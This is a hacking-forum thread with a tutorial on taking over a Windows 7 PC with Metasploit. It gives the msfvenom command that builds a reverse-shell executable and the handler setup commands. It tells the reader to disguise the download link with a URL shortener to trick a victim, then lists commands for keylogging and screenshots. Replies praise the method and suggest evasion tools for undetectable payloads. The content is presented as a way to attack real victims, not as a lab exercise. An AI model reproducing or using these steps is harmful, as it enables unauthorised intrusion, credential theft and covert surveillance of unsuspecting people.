

Forum:[Hack Forums](#)

Thread: [\[TUT\] Hack into Windows 7 SP1 computer with Metasploit \[TUT\] 2015](#)

Sunrize - December 24, 2015, 2:59 pm

Hello!

I'll try to do my first tutorial here :)

I don't have 50 posts yet, so I can't write posts with pictures, pics are not necessary to understand this anyways.

This tutorial will contain information on how to attack an Windows 7 PC Service pack 1 with metasploit (kali linux).

OK, let's go!

1.

Start terminal

2.

Type this in terminal.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP ADRESS HERE LPORT=4444 -f exe > /root/Desktop/NAME-OF-YOUR-FILE.exe
```

Press enter...

This will create the server file that you will send to the victim (we get there later on in the tutorial).

3.

Open a new console and type "msfconsole" and press enter.
(it starts the metasploit console)

4.

Now type "use multi/handler" and press enter (without -->""<--)
hit enter

5.

Type: set PAYLOAD windows/meterpreter/reverse_tcp
hit enter

6.

Type: set LHOST YOUR IP ADRESS (same one as in step 2)
hit enter

7.

Type: set LPORT 4444
hit enter

8.

Type: run
hit enter

9.

Now go to Sendspace.com and upload the "NAME-OF-FILE.exe" and copy the link.

Use an URL shortener "https: //goo.gl/" if needed to make the link look less suspicious.

Wait for the victim to open the .exe file and use the metasploit commands to dig around in the system.

Some metasploit commands to use:

printscreens - takes a screenshot on the victims system and puts the file in /root/.msf4/

keyscan_start - logging keystrokes on victims system (keylogger).

keyscan_dump - shows the keyboard input that the victim made during your "listening".

Hope you get any use of this. And plz, give response on my first tutorial ever made, what can I do better for the next time and what should I not to for the next time? :)

sobolek - December 26, 2015, 2:37 am

Same I can do with any Rat + Crypter - With less effort, without linux. Nice tutorial anyway.

Sunrise - December 26, 2015, 6:39 am

(Dec 26, 2015 03:37 AM)sobolek Wrote: [CITE](#) Same I can do with any Rat + Crypter - With less effort, without linux. Nice tutorial anyway.

yes you can, this is just an alternative way and with Kali linux ofc :)

Thank you :)

Th0r15 - December 30, 2015, 9:50 pm

Thanks bro.For me it's usefull.I learned something new.Thx again.

9Sha - January 1, 2016, 11:26 am

Great Article. Thanks a lot.

marley2020 - January 2, 2016, 2:02 am

i think it is better if you create an undetectable payload with Veil-Evasion and i like using cobaltstrike more

Fizure - *January 2, 2016, 6:41 am*

this ain't no damnn hack...

Big_mp5 - *February 25, 2018, 6:07 am*

this is very easy to do I love metasploit it is so awesome :)

AKIER - *March 1, 2018, 9:09 pm*

very nice work!! thank you